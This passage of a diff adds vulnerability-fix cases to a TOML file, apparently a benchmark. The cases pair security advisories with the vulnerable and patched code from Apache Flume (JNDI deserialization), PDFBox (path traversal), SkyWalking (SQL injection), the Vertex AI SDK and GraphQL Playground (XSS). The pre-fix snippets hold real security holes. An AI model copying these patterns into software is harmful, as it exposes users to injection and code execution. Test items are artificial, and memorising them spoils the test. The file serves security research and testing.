(JMSMessageConverter.Builder)clazz.newInstance();\n converter = builder.build(converterContext);\n } else {\n Preconditions.checkState(JMSMessageConverter.class.isAssignableFrom(clazz),\n String.format(\"Class %s is not a subclass of JMSMessageConverter\", clazz.getName()));\n converter = (JMSMessageConverter)clazz.newInstance();\n boolean configured = Configurables.configure(converter, converterContext);\n if (logger.isDebugEnabled()) {\n logger.debug(String.format(\"Attempted configuration of %s, result = %s\",\n converterClassName, String.valueOf(configured)));\n }\n }\n } catch (Exception e) {\n throw new FlumeException(String.format(\n \"Unable to create instance of converter %s\", converterClassName), e);\n }\n\n String connectionFactoryName = context.getString(\n JMSSourceConfiguration.CONNECTION_FACTORY,\n JMSSourceConfiguration.CONNECTION_FACTORY_DEFAULT).trim();\n try {\n URI uri = new URI(connectionFactoryName);\n String scheme = uri.getScheme();\n assertTrue(scheme == null || scheme.equals(JAVA_SCHEME),\n \"Unsupported JNDI URI: \" + connectionFactoryName);\n } catch (URISyntaxException ex) {\n logger.warn(\"Invalid JNDI URI - {}\", connectionFactoryName);\n }\n\n assertNotEmpty(initialContextFactoryName, String.format(\n \"Initial Context Factory is empty. This is specified by %s\",\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY));\n\n assertNotEmpty(providerUrl, String.format(\n \"Provider URL is empty. This is specified by %s\",\n JMSSourceConfiguration.PROVIDER_URL));\n\n assertNotEmpty(destinationName, String.format(\n \"Destination Name is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_NAME));\n\n assertNotEmpty(destinationTypeName, String.format(\n \"Destination Type is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_TYPE));\n\n try {\n destinationType = JMSDestinationType.valueOf(destinationTypeName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination type '%s' is \" +\n \"invalid.\", destinationTypeName), e);\n }\n\n if (createDurableSubscription) {\n if (JMSDestinationType.TOPIC != destinationType) {\n throw new FlumeException(String.format(\n \"Only Destination type '%s' supports durable subscriptions.\",\n JMSDestinationType.TOPIC.toString()));\n }\n if (!clientId.isPresent()) {\n throw new FlumeException(String.format(\n \"You have to specify '%s' when using durable subscriptions.\",\n JMSSourceConfiguration.CLIENT_ID));\n }\n if (StringUtils.isEmpty(durableSubscriptionName)) {\n throw new FlumeException(String.format(\"If '%s' is set to true, '%s' has to be specified.\",\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME));\n }\n } else if (!StringUtils.isEmpty(durableSubscriptionName)) {\n logger.warn(String.format(\"'%s' is set, but '%s' is false.\"\n + \"If you want to create a durable subscription, set %s to true.\",\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION));\n }\n\n try {\n destinationLocator = JMSDestinationLocator.valueOf(destinationLocatorName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination locator '%s' is \" +\n \"invalid.\", destinationLocatorName), e);\n }\n\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater than 0\");\n\n try {\n Properties contextProperties = new Properties();\n contextProperties.setProperty(\n javax.naming.Context.INITIAL_CONTEXT_FACTORY,\n initialContextFactoryName);\n contextProperties.setProperty(\n javax.naming.Context.PROVIDER_URL, providerUrl);\n\n // Provide properties for connecting via JNDI\n if (this.userName.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_PRINCIPAL,\n this.userName.get());\n }\n if (this.password.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_CREDENTIALS,\n this.password.get());\n }\n\n initialContext = initialContextFactory.create(contextProperties);\n } catch (NamingException e) {\n throw new FlumeException(String.format(\n \"Could not create initial context %s provider %s\",\n initialContextFactoryName, providerUrl), e);\n }\n\n try {\n connectionFactory = (ConnectionFactory) initialContext.lookup(connectionFactoryName);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not lookup ConnectionFactory\", e);\n }\n }\n"
+repo = "apache/logging-flume"
+url = "https://github.com/apache/logging-flume.git"
+
+[[case]]
+advisory = "GHSA-9w4g-fp9h-3q2v"
+advisory_text = "Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL\n\nFlume’s JMSSource class can be configured with a providerUrl parameter. A JNDI lookup is performed on this name without performing validation. This could result in untrusted data being deserialized, leading to remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed in version 1.11.0."
+commit = "eee179a09df405c1ab55ae25a53b76ca1050bb97"
+cwe = "CWE-502"
+family = "deserialization"
+function = "JMSMessageConsumer"
+function_lines = [[56, 142]]
+id = "apache-logging-flume-9dd9e4ee8d0de85f"
+language = "java"
+method = "fix_site"
+parent = "34f372222248e2a1014c502b888e37f4c3d0f356"
+path = "flume-ng-sources/flume-jms-source/src/main/java/org/apache/flume/source/jms/JMSMessageConsumer.java"
+post_fix = " JMSMessageConsumer(InitialContext initialContext, ConnectionFactory connectionFactory,\n String destinationName, JMSDestinationLocator destinationLocator,\n JMSDestinationType destinationType, String messageSelector, int batchSize,\n long pollTimeout, JMSMessageConverter messageConverter,\n Optional userName, Optional password,\n Optional clientId, boolean createDurableSubscription,\n String durableSubscriptionName) {\n this.batchSize = batchSize;\n this.pollTimeout = pollTimeout;\n this.messageConverter = messageConverter;\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater \"\n + \"than zero\");\n Preconditions.checkArgument(pollTimeout >= 0, \"Poll timeout cannot be \" +\n \"negative\");\n\n try {\n try {\n if (userName.isPresent()) {\n connection = connectionFactory.createConnection(userName.get(), password.get());\n } else {\n connection = connectionFactory.createConnection();\n }\n if (clientId.isPresent()) {\n connection.setClientID(clientId.get());\n }\n connection.start();\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create connection to broker\", e);\n }\n\n try {\n session = connection.createSession(true, Session.SESSION_TRANSACTED);\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create session\", e);\n }\n\n try {\n if (destinationLocator.equals(JMSDestinationLocator.CDI)) {\n switch (destinationType) {\n case QUEUE:\n destination = session.createQueue(destinationName);\n break;\n case TOPIC:\n destination = session.createTopic(destinationName);\n break;\n default:\n throw new IllegalStateException(String.valueOf(destinationType));\n }\n } else {\n JMSSource.verifyContext(destinationName);\n destination = (Destination) initialContext.lookup(destinationName);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create destination \" + destinationName, e);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not find destination \" + destinationName, e);\n }\n\n try {\n if (createDurableSubscription) {\n messageConsumer = session.createDurableSubscriber(\n (Topic) destination, durableSubscriptionName,\n messageSelector.isEmpty() ? null : messageSelector, true);\n } else {\n messageConsumer = session.createConsumer(destination,\n messageSelector.isEmpty() ? null : messageSelector);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create consumer\", e);\n }\n String startupMsg = String.format(\"Connected to '%s' of type '%s' with \" +\n \"user '%s', batch size '%d', selector '%s' \", destinationName,\n destinationType, userName.isPresent() ? userName.get() : \"null\",\n batchSize, messageSelector.isEmpty() ? null : messageSelector);\n logger.info(startupMsg);\n } catch (Exception e) {\n close();\n throw e;\n }\n }"
+pre_fix = " JMSMessageConsumer(InitialContext initialContext, ConnectionFactory connectionFactory,\n String destinationName, JMSDestinationLocator destinationLocator,\n JMSDestinationType destinationType, String messageSelector, int batchSize,\n long pollTimeout, JMSMessageConverter messageConverter,\n Optional userName, Optional password,\n Optional clientId, boolean createDurableSubscription,\n String durableSubscriptionName) {\n this.batchSize = batchSize;\n this.pollTimeout = pollTimeout;\n this.messageConverter = messageConverter;\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater \"\n + \"than zero\");\n Preconditions.checkArgument(pollTimeout >= 0, \"Poll timeout cannot be \" +\n \"negative\");\n\n try {\n try {\n if (userName.isPresent()) {\n connection = connectionFactory.createConnection(userName.get(), password.get());\n } else {\n connection = connectionFactory.createConnection();\n }\n if (clientId.isPresent()) {\n connection.setClientID(clientId.get());\n }\n connection.start();\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create connection to broker\", e);\n }\n\n try {\n session = connection.createSession(true, Session.SESSION_TRANSACTED);\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create session\", e);\n }\n\n try {\n if (destinationLocator.equals(JMSDestinationLocator.CDI)) {\n switch (destinationType) {\n case QUEUE:\n destination = session.createQueue(destinationName);\n break;\n case TOPIC:\n destination = session.createTopic(destinationName);\n break;\n default:\n throw new IllegalStateException(String.valueOf(destinationType));\n }\n } else {\n try {\n URI uri = new URI(destinationName);\n String scheme = uri.getScheme();\n assertTrue(scheme == null || scheme.equals(JAVA_SCHEME),\n \"Unsupported JNDI URI: \" + destinationName);\n } catch (URISyntaxException ex) {\n logger.warn(\"Invalid JNDI URI - {}\", destinationName);\n }\n destination = (Destination) initialContext.lookup(destinationName);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create destination \" + destinationName, e);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not find destination \" + destinationName, e);\n }\n\n try {\n if (createDurableSubscription) {\n messageConsumer = session.createDurableSubscriber(\n (Topic) destination, durableSubscriptionName,\n messageSelector.isEmpty() ? null : messageSelector, true);\n } else {\n messageConsumer = session.createConsumer(destination,\n messageSelector.isEmpty() ? null : messageSelector);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create consumer\", e);\n }\n String startupMsg = String.format(\"Connected to '%s' of type '%s' with \" +\n \"user '%s', batch size '%d', selector '%s' \", destinationName,\n destinationType, userName.isPresent() ? userName.get() : \"null\",\n batchSize, messageSelector.isEmpty() ? null : messageSelector);\n logger.info(startupMsg);\n } catch (Exception e) {\n close();\n throw e;\n }\n }"
+repo = "apache/logging-flume"
+url = "https://github.com/apache/logging-flume.git"
+
+[[case]]
+advisory = "GHSA-jjwr-xmw6-gf78"
+advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted."
+commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7"
+cwe = "CWE-22"
+family = "path"
+function = "extractFiles"
+function_lines = [[126, 139]]
+id = "apache-pdfbox-11311474dc9fddbd"
+language = "java"
+method = "fix_site"
+parent = "daaead9069d562e166918d461191c89773e51f90"
+path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java"
+post_fix = " private static void extractFiles(Map names, String directoryPath) \n throws IOException\n {\n for (Entry entry : names.entrySet())\n {\n PDComplexFileSpecification complexFileSpec = entry.getValue();\n PDEmbeddedFile embeddedFile = getEmbeddedFile(complexFileSpec);\n if (embeddedFile != null)\n {\n extractFile(complexFileSpec.getFilename(), embeddedFile, directoryPath);\n }\n }\n }\n"
+pre_fix = " private static void extractFiles(Map names, String filePath) \n throws IOException\n {\n for (Entry entry : names.entrySet())\n {\n PDComplexFileSpecification fileSpec = entry.getValue();\n PDEmbeddedFile embeddedFile = getEmbeddedFile(fileSpec);\n if (embeddedFile != null)\n {\n extractFile(filePath, fileSpec.getFilename(), embeddedFile);\n }\n }\n }\n"
+repo = "apache/pdfbox"
+url = "https://github.com/apache/pdfbox.git"
+
+[[case]]
+advisory = "GHSA-jjwr-xmw6-gf78"
+advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted."
+commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7"
+cwe = "CWE-22"
+family = "path"
+function = "try"
+function_lines = [[66, 81]]
+id = "apache-pdfbox-3dc4e739d0307166"
+language = "java"
+method = "fix_site"
+parent = "daaead9069d562e166918d461191c89773e51f90"
+path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java"
+post_fix = " try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, directoryPath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, directoryPath);\n }\n }"
+pre_fix = " try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, filePath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, filePath);\n }\n }"
+repo = "apache/pdfbox"
+url = "https://github.com/apache/pdfbox.git"
+
+[[case]]
+advisory = "GHSA-jjwr-xmw6-gf78"
+advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted."
+commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7"
+cwe = "CWE-22"
+family = "path"
+function = "extractFilesFromPage"
+function_lines = [[84, 104]]
+id = "apache-pdfbox-56ad35de6b5478ab"
+language = "java"
+method = "fix_site"
+parent = "daaead9069d562e166918d461191c89773e51f90"
+path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java"
+post_fix = " private static void extractFilesFromPage(PDPage page, String directoryPath) throws IOException\n {\n for (PDAnnotation annotation : page.getAnnotations())\n {\n if (annotation instanceof PDAnnotationFileAttachment)\n {\n PDAnnotationFileAttachment annotationFileAttachment = (PDAnnotationFileAttachment) annotation;\n PDFileSpecification fileSpec = annotationFileAttachment.getFile();\n if (fileSpec instanceof PDComplexFileSpecification)\n {\n PDComplexFileSpecification complexFileSpec = (PDComplexFileSpecification) fileSpec;\n PDEmbeddedFile embeddedFile = getEmbeddedFile(complexFileSpec);\n if (embeddedFile != null)\n {\n extractFile(complexFileSpec.getFilename(), embeddedFile, directoryPath);\n }\n }\n }\n }\n }\n"
+pre_fix = " private static void extractFilesFromPage(PDPage page, String filePath) throws IOException\n {\n for (PDAnnotation annotation : page.getAnnotations())\n {\n if (annotation instanceof PDAnnotationFileAttachment)\n {\n PDAnnotationFileAttachment annotationFileAttachment = (PDAnnotationFileAttachment) annotation;\n PDFileSpecification fileSpec = annotationFileAttachment.getFile();\n if (fileSpec instanceof PDComplexFileSpecification)\n {\n PDComplexFileSpecification complexFileSpec = (PDComplexFileSpecification) fileSpec;\n PDEmbeddedFile embeddedFile = getEmbeddedFile(complexFileSpec);\n if (embeddedFile != null)\n {\n extractFile(filePath, complexFileSpec.getFilename(), embeddedFile);\n }\n }\n }\n }\n }\n"
+repo = "apache/pdfbox"
+url = "https://github.com/apache/pdfbox.git"
+
+[[case]]
+advisory = "GHSA-jjwr-xmw6-gf78"
+advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted."
+commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7"
+cwe = "CWE-22"
+family = "path"
+function = "main"
+function_lines = [[56, 83]]
+id = "apache-pdfbox-7d8d6513c163f5fe"
+language = "java"
+method = "fix_site"
+parent = "daaead9069d562e166918d461191c89773e51f90"
+path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java"
+post_fix = " public static void main( String[] args ) throws IOException\n {\n if( args.length != 1 )\n {\n usage();\n System.exit(1);\n }\n\n File pdfFile = new File(args[0]);\n String directoryPath = pdfFile.getParent() + FileSystems.getDefault().getSeparator();\n try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, directoryPath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, directoryPath);\n }\n }\n }\n"
+pre_fix = " public static void main( String[] args ) throws IOException\n {\n if( args.length != 1 )\n {\n usage();\n System.exit(1);\n }\n\n File pdfFile = new File(args[0]);\n String filePath = pdfFile.getParent() + FileSystems.getDefault().getSeparator();\n try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, filePath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, filePath);\n }\n }\n }\n"
+repo = "apache/pdfbox"
+url = "https://github.com/apache/pdfbox.git"
+
+[[case]]
+advisory = "GHSA-jjwr-xmw6-gf78"
+advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted."
+commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7"
+cwe = "CWE-22"
+family = "path"
+function = "extractFile"
+function_lines = [[140, 158]]
+id = "apache-pdfbox-d700dd5c8843f12c"
+language = "java"
+method = "fix_site"
+parent = "daaead9069d562e166918d461191c89773e51f90"
+path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java"
+post_fix = " private static void extractFile(String filename, PDEmbeddedFile embeddedFile, String directoryPath)\n throws IOException\n {\n String embeddedFilename = directoryPath + filename;\n File file = new File(embeddedFilename);\n File parentDir = file.getParentFile();\n if (!parentDir.exists())\n {\n // sometimes paths contain a directory\n System.out.println(\"Creating \" + parentDir);\n parentDir.mkdirs();\n }\n System.out.println(\"Writing \" + embeddedFilename);\n try (FileOutputStream fos = new FileOutputStream(file))\n {\n fos.write(embeddedFile.toByteArray());\n }\n }\n "
+pre_fix = " private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)\n throws IOException\n {\n String embeddedFilename = filePath + filename;\n File file = new File(embeddedFilename);\n File parentDir = file.getParentFile();\n if (!parentDir.exists())\n {\n // sometimes paths contain a directory\n System.out.println(\"Creating \" + parentDir);\n parentDir.mkdirs();\n }\n System.out.println(\"Writing \" + embeddedFilename);\n try (FileOutputStream fos = new FileOutputStream(file))\n {\n fos.write(embeddedFile.toByteArray());\n }\n }\n "
+repo = "apache/pdfbox"
+url = "https://github.com/apache/pdfbox.git"
+
+[[case]]
+advisory = "GHSA-jjwr-xmw6-gf78"
+advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted."
+commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7"
+cwe = "CWE-22"
+family = "path"
+function = "extractFilesFromEFTree"
+function_lines = [[105, 125]]
+id = "apache-pdfbox-f03695e9a3bbfb76"
+language = "java"
+method = "fix_site"
+parent = "daaead9069d562e166918d461191c89773e51f90"
+path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java"
+post_fix = " private static void extractFilesFromEFTree(PDNameTreeNode efTree, String directoryPath) throws IOException\n {\n Map names = efTree.getNames();\n if (names != null)\n {\n extractFiles(names, directoryPath);\n }\n else\n {\n List> kids = efTree.getKids();\n if (kids == null)\n {\n return;\n }\n for (PDNameTreeNode node : kids)\n {\n extractFilesFromEFTree(node, directoryPath);\n }\n }\n }\n"
+pre_fix = " private static void extractFilesFromEFTree(PDNameTreeNode efTree, String filePath) throws IOException\n {\n Map names = efTree.getNames();\n if (names != null)\n {\n extractFiles(names, filePath);\n }\n else\n {\n List> kids = efTree.getKids();\n if (kids == null)\n {\n return;\n }\n for (PDNameTreeNode node : kids)\n {\n extractFilesFromEFTree(node, filePath);\n }\n }\n }\n"
+repo = "apache/pdfbox"
+url = "https://github.com/apache/pdfbox.git"
+
+[[case]]
+advisory = "GHSA-grpf-gg7v-5g5h"
+advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases."
+commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951"
+cwe = "CWE-89"
+family = "injection"
+function = "getAlarm"
+function_lines = [[46, 97]]
+id = "apache-skywalking-2290116e5febf3c6"
+language = "java"
+method = "fix_site"
+parent = "cc9ea271a720e8def161a583595f75da9bda77a5"
+path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/mysql/MySQLAlarmQueryDAO.java"
+post_fix = " public Alarms getAlarm(Integer scopeId, String keyword, int limit, int from, long startTB,\n long endTB) throws IOException {\n StringBuilder sql = new StringBuilder();\n List
\n \"\"\"\n\n return textwrap.dedent(\n f\"\"\"\n
\n
Status: {status}
\n {error_html}\n
\n \"\"\"\n )\n\n"
+pre_fix = "def _get_status_html(status: str, error_message: Optional[str] = None) -> str:\n \"\"\"Returns a simple HTML string for displaying a status and optional error.\"\"\"\n error_html = \"\"\n if error_message:\n error_html = f\"\"\"\n
\n Error:\n
{error_message}
\n \n \"\"\"\n\n return f\"\"\"\n
\n
Status: {status}
\n {error_html}\n
\n \"\"\"\n\n"
+repo = "googleapis/python-aiplatform"
+url = "https://github.com/googleapis/python-aiplatform.git"
+
+[[case]]
+advisory = "GHSA-qv8j-hgpc-vrq8"
+advisory_text = "Google Cloud Vertex AI SDK affected by Stored Cross-Site Scripting (XSS)\n\nStored Cross-Site Scripting (XSS) in the _genai/_evals_visualization component of Google Cloud Vertex AI SDK (google-cloud-aiplatform) versions from 1.98.0 up to (but not including) 1.131.0 allows an unauthenticated remote attacker to execute arbitrary JavaScript in a victim's Jupyter or Colab environment via injecting script escape sequences into model evaluation results or dataset JSON data."
+commit = "8a00d43dbd24e95dbab6ea32c63ce0a5a1849480"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "_get_inference_html"
+function_lines = [[697, 699]]
+id = "googleapis-python-aiplatform-ae123ecdc45075bf"
+language = "python"
+method = "fix_site"
+parent = "df0976ed3195dc8313f4728bc5ecb29dda55d467"
+path = "vertexai/_genai/_evals_visualization.py"
+post_fix = "def _get_inference_html(dataframe_json: str) -> str:\n \"\"\"Returns a self-contained HTML for displaying inference results.\"\"\"\n payload_b64 = _encode_to_base64(dataframe_json)\n return textwrap.dedent(\n f\"\"\""
+pre_fix = "def _get_inference_html(dataframe_json: str) -> str:\n \"\"\"Returns a self-contained HTML for displaying inference results.\"\"\"\n return f\"\"\""
+repo = "googleapis/python-aiplatform"
+url = "https://github.com/googleapis/python-aiplatform.git"
+
+[[case]]
+advisory = "GHSA-qv8j-hgpc-vrq8"
+advisory_text = "Google Cloud Vertex AI SDK affected by Stored Cross-Site Scripting (XSS)\n\nStored Cross-Site Scripting (XSS) in the _genai/_evals_visualization component of Google Cloud Vertex AI SDK (google-cloud-aiplatform) versions from 1.98.0 up to (but not including) 1.131.0 allows an unauthenticated remote attacker to execute arbitrary JavaScript in a victim's Jupyter or Colab environment via injecting script escape sequences into model evaluation results or dataset JSON data."
+commit = "8a00d43dbd24e95dbab6ea32c63ce0a5a1849480"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "_get_evaluation_html"
+function_lines = [[81, 83]]
+id = "googleapis-python-aiplatform-c97b4cfd80013853"
+language = "python"
+method = "fix_site"
+parent = "df0976ed3195dc8313f4728bc5ecb29dda55d467"
+path = "vertexai/_genai/_evals_visualization.py"
+post_fix = "def _get_evaluation_html(eval_result_json: str) -> str:\n \"\"\"Returns a self-contained HTML for single evaluation visualization.\"\"\"\n payload_b64 = _encode_to_base64(eval_result_json)\n return textwrap.dedent(\n f\"\"\""
+pre_fix = "def _get_evaluation_html(eval_result_json: str) -> str:\n \"\"\"Returns a self-contained HTML for single evaluation visualization.\"\"\"\n return f\"\"\""
+repo = "googleapis/python-aiplatform"
+url = "https://github.com/googleapis/python-aiplatform.git"
+
+[[case]]
+advisory = "GHSA-qv8j-hgpc-vrq8"
+advisory_text = "Google Cloud Vertex AI SDK affected by Stored Cross-Site Scripting (XSS)\n\nStored Cross-Site Scripting (XSS) in the _genai/_evals_visualization component of Google Cloud Vertex AI SDK (google-cloud-aiplatform) versions from 1.98.0 up to (but not including) 1.131.0 allows an unauthenticated remote attacker to execute arbitrary JavaScript in a victim's Jupyter or Colab environment via injecting script escape sequences into model evaluation results or dataset JSON data."
+commit = "8a00d43dbd24e95dbab6ea32c63ce0a5a1849480"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "_get_comparison_html"
+function_lines = [[557, 559]]
+id = "googleapis-python-aiplatform-d6824d56240b0069"
+language = "python"
+method = "fix_site"
+parent = "df0976ed3195dc8313f4728bc5ecb29dda55d467"
+path = "vertexai/_genai/_evals_visualization.py"
+post_fix = "def _get_comparison_html(eval_result_json: str) -> str:\n \"\"\"Returns a self-contained HTML for a side-by-side eval comparison.\"\"\"\n payload_b64 = _encode_to_base64(eval_result_json)\n return textwrap.dedent(\n f\"\"\""
+pre_fix = "def _get_comparison_html(eval_result_json: str) -> str:\n \"\"\"Returns a self-contained HTML for a side-by-side eval comparison.\"\"\"\n return f\"\"\""
+repo = "googleapis/python-aiplatform"
+url = "https://github.com/googleapis/python-aiplatform.git"
+
+[[case]]
+advisory = "GHSA-59r9-6jp6-jcm7"
+advisory_text = "XSS vulnerability in GraphQL Playground from untrusted schemas\n\n## GraphQL Playground introspection schema template injection attack: Advisory Statement\n\nThis is a security advisory for an XSS vulnerability in `graphql-playground`.\n\nA similar vulnerability affects `graphiql`, the package from which `graphql-playground` was forked. There is a corresponding `graphiql` [advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8).\n\n- [1. Impact](#1-impact)\n- [2. Scope](#2-scope)\n- [3. Patches](#3-patches)\n- [4. Reproducing the exploit](#4-reproducing-the-exploit)\n- [5. Credit](#5-credit)\n- [6. For more information](#6-for-more-information)\n\n### 1. Impact\n\nAll versions of `graphql-playground-react` older than `graphql-playground-react@1.7.28` are vulnerable to compromised HTTP schema introspection responses or `schema` prop values with malicious GraphQL type names, exposing a dynamic XSS attack surface that can allow code injection on operation autocomplete.\n\nIn order for the attack to take place, the user must load a malicious schema in `graphql-playground`. There are several ways this can occur, including by specifying the URL to a malicious schema in the `endpoint` query parameter. If a user clicks on a link to a GraphQL Playground installation that specifies a malicious server, arbitrary JavaScript can run in the user's browser, which can be used to exfiltrate user credentials or other harmful goals.\n\n### 2. Scope\n\nThis advisory describes the impact on the `graphql-playground-react` package. The vulnerability also affects `graphiql`, the package from which `graphql-playground` was forked, with a less severe impact; see the [`graphiql` advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8) for details. It affects all versions of `graphql-playground-react` older than `v1.7.28`.\n\nThis vulnerability was introduced with the first public release of `graphql-playground`, so it impacts both the original legacy `graphql-playground` and the contemporary `graphql-playground-react` npm package. It is most easily exploited on `graphql-playground-react@1.7.0` and newer, as that release added functionality which made it possible to override the 